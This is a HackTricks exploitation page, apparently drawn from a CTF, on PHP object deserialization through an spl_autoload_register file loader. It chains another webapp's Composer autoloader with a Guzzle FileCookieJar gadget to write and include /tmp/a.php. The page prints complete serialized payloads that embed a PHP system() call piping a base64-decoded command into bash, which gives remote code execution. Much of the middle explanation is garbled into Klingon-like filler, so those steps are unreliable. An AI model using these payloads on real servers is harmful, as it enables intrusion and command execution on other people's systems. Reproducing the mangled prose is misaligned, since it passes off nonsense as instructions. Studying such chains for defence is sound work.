7.3 KiB
PHP - Deserialization + Autoload Classes
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:
- If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
- Get the official PEASS & HackTricks swag
- Discover The PEASS Family, our collection of exclusive NFTs
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @carlospolopm.
- Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
First, you should check what are Autoloading Classes.
PHP deserialization + spl_autoload_register + LFI/Gadget
We are in a situation where we found a PHP deserialization in a webapp with no library vulnerable to gadgets inside phpggc
. However, in the same container there was a different composer webapp with vulnerable libraries. Therefore, the goal was to load the composer loader of the other webapp and abuse it to load a gadget that will exploit that library with a gadget from the webapp vulnerable to deserialization.
Steps:
- You have found a deserialization and there isn’t any gadget in the current app code
- You can abuse a
spl_autoload_register
function like the following to load any local file with.php
extension - For that you use a deserialization where the name of the class is going to be inside
$name
. You cannot use "/" or "." in a class name in a serialized object, but the code is replacing the underscores ("_") for slashes ("/"). So a class name such astmp_passwd
will be transformed into/tmp/passwd.php
and the code will try to load it.
A gadget example will be:O:10:"tmp_passwd":0:{}
spl_autoload_register(function ($name) {
if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}
$filename = "/${name}.php";
if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});
{% hint style="success" %}
vaj vItlhutlh file upload 'ej .php
extension vItlhutlh, 'e' vItlhutlh 'ej RCE qatlh.
{% endhint %}
vaj, vItlhutlh vItlhutlh composer web page 'ej phpggc
gadget vulnerable library container 'e' vItlhutlh.
- library load vItlhutlh, composer loader load vItlhutlh web app (vItlhutlh 'e' vItlhutlh libraries 'e' vItlhutlh 'e' vItlhutlh.) path application, 'e' vItlhutlh 'e' vItlhutlh composer loader very easily
O:28:"www_frontend_vendor_autoload":0:{}
(vItlhutlh composer loader/www/frontend/vendor/autoload.php
) - vItlhutlh app composer loader, 'e' vItlhutlh
generate the phpgcc
payload use. vItlhutlhGuzzle/FW1
, 'e' vItlhutlh 'e' vItlhutlh filesystem file write. - NOTE: generated gadget not working, 'e' vItlhutlh work payload
chain.php
phpggc 'ej attribute classes private public set. not, deserializing string, created objects attributes values. - vItlhutlh app composer loader load 'ej phpggc payload work, 'ach 'e' vItlhutlh REQUEST loader load gadget use. vaj, serialized array objects sent like:
- loader load payload 'e' vItlhutlh first
{% code overflow="wrap" %}
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
{% endcode %}
- NuqneH, file yIlo' je, user web server ghItlh folder yIlo'. So, payload vItlhutlh PHP
system
base64/tmp/a.php
yIlo' tlhIngan Hol. ghItlh/tmp/a.php
file load composer loader webapp load payload type first reuse vItlhutlh. Deserialization gadget add yIlo':
{% code overflow="wrap" %}
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
{% endcode %}
Summary of the payload
- Load the composer autoload of a different webapp in the same container
- Load a phpggc gadget to abuse a library from the other webapp (the initial webapp vulnerable to deserialization didn’t have any gadget on its libraries)
- The gadget will create a file with a PHP payload on it in /tmp/a.php with malicious commands (the webapp user cannot write in any folder of any webapp)
- The final part of our payload will use load the generated php file that will execute commands
I needed to call this deserialization twice. In my testing, the first time the /tmp/a.php
file was created but not loaded, and the second time it was correctly loaded.
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:
- If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
- Get the official PEASS & HackTricks swag
- Discover The PEASS Family, our collection of exclusive NFTs
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @carlospolopm.
- Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.